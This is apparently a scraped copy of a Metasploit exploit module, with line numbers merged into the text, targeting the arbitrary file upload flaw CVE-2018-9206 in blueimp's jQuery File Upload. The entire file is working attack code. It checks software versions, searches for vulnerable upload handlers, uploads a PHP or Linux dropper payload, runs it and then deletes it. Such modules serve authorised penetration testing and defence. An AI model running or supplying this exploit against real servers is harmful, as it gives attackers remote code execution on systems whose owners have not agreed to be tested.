Path: blob/master/modules/exploits/unix/webapp/jquery_file_upload.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::PhpEXE1112def initialize(info = {})13super(14update_info(15info,16'Name' => "blueimp's jQuery (Arbitrary) File Upload",17'Description' => %q{18This module exploits an arbitrary file upload in the sample PHP upload19handler for blueimp's jQuery File Upload widget in versions <= 9.22.0.2021Due to a default configuration in Apache 2.3.9+, the widget's .htaccess22file may be disabled, enabling exploitation of this vulnerability.2324This vulnerability has been exploited in the wild since at least 201525and was publicly disclosed to the vendor in 2018. It has been present26since the .htaccess change in Apache 2.3.9.2728This module provides a generic exploit against the jQuery widget.29},30'Author' => [31'Claudio Viviani', # WordPress Work the Flow (Arbitrary) File Upload32'Larry W. Cashdollar', # (Re)discovery, vendor disclosure, and PoC33'wvu' # Metasploit module34],35'References' => [36['CVE', '2018-9206'],37['URL', 'http://www.vapidlabs.com/advisory.php?v=204'],38['URL', 'https://github.com/blueimp/jQuery-File-Upload/pull/3514'],39['URL', 'https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206'],40['URL', 'https://www.homelab.it/index.php/2015/04/04/wordpress-work-the-flow-file-upload-vulnerability/'],41['URL', 'https://github.com/rapid7/metasploit-framework/pull/5130'],42['URL', 'https://httpd.apache.org/docs/current/mod/core.html#allowoverride']43],44'DisclosureDate' => '2018-10-09', # Larry's disclosure to the vendor45'License' => MSF_LICENSE,46'Platform' => ['php', 'linux'],47'Arch' => [ARCH_PHP, ARCH_X86, ARCH_X64],48'Privileged' => false,49'Targets' => [50['PHP Dropper', 'Platform' => 'php', 'Arch' => ARCH_PHP],51['Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64]]52],53'DefaultTarget' => 0,54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)6162register_options([63OptString.new('TARGETURI', [true, 'Base path', '/jQuery-File-Upload'])64])65end6667def version_paths68%w[69/package.json70/bower.json71].map { |u| normalize_uri(target_uri.path, u) }72end7374# List from PoC sorted by frequency75def upload_paths76%w[77/server/php/index.php78/server/php/upload.class.php79/server/php/UploadHandler.php80/example/upload.php81/php/index.php82].map { |u| normalize_uri(target_uri.path, u) }83end8485def check86a = nil8788version_paths.each do |u|89vprint_status("Checking #{u}")9091res = send_request_cgi(92'method' => 'GET',93'uri' => u94)9596next unless res9798unless a99res.headers['Server'] =~ /Apache\/([\d.]+)/ &&100$1 && (a = Rex::Version.new($1))101102if a && a >= Rex::Version.new('2.3.9')103vprint_good("Found Apache #{a} (AllowOverride None may be set)")104elsif a105vprint_warning("Found Apache #{a} (AllowOverride All may be set)")106end107end108109next unless res.code == 200 && (j = res.get_json_document) &&110j['version'] && (v = Rex::Version.new(j['version']))111112if v <= Rex::Version.new('9.22.0')113vprint_good("Found unpatched jQuery File Upload #{v}")114return CheckCode::Appears115else116vprint_error("Found patched jQuery File Upload #{v}")117return CheckCode::Safe118end119end120121CheckCode::Unknown122end123124def find_upload125upload_paths.each do |u|126vprint_status("Checking #{u}")127128res = send_request_cgi(129'method' => 'GET',130'uri' => u131)132133if res && res.code == 200134vprint_good("Found #{u}")135return u136end137end138139nil140end141142def exploit143unless check == CheckCode::Appears && (u = find_upload)144fail_with(Failure::NotFound, 'Could not find target')145end146147f = "#{rand_text_alphanumeric(8..42)}.php"148p = normalize_uri(File.dirname(u), 'files', f)149150print_status('Uploading payload')151res = upload_payload(u, f)152153unless res && res.code == 200 && res.body.include?(f)154fail_with(Failure::NotVulnerable, 'Could not upload payload')155end156157print_good("Payload uploaded: #{full_uri(p)}")158159print_status('Executing payload')160exec_payload(p)161162print_status('Deleting payload')163delete_payload(u, f)164end165166def upload_payload(u, f)167p = get_write_exec_payload(unlink_self: true)168169m = Rex::MIME::Message.new170m.add_part(p, nil, nil, %(form-data; name="files[]"; filename="#{f}"))171172send_request_cgi(173'method' => 'POST',174'uri' => u,175'ctype' => "multipart/form-data; boundary=#{m.bound}",176'data' => m.to_s177)178end179180def exec_payload(p)181send_request_cgi({182'method' => 'GET',183'uri' => p184}, 0)185end186187def delete_payload(u, f)188send_request_cgi(189'method' => 'DELETE',190'uri' => u,191'vars_get' => { 'file' => f }192)193end194195end196197198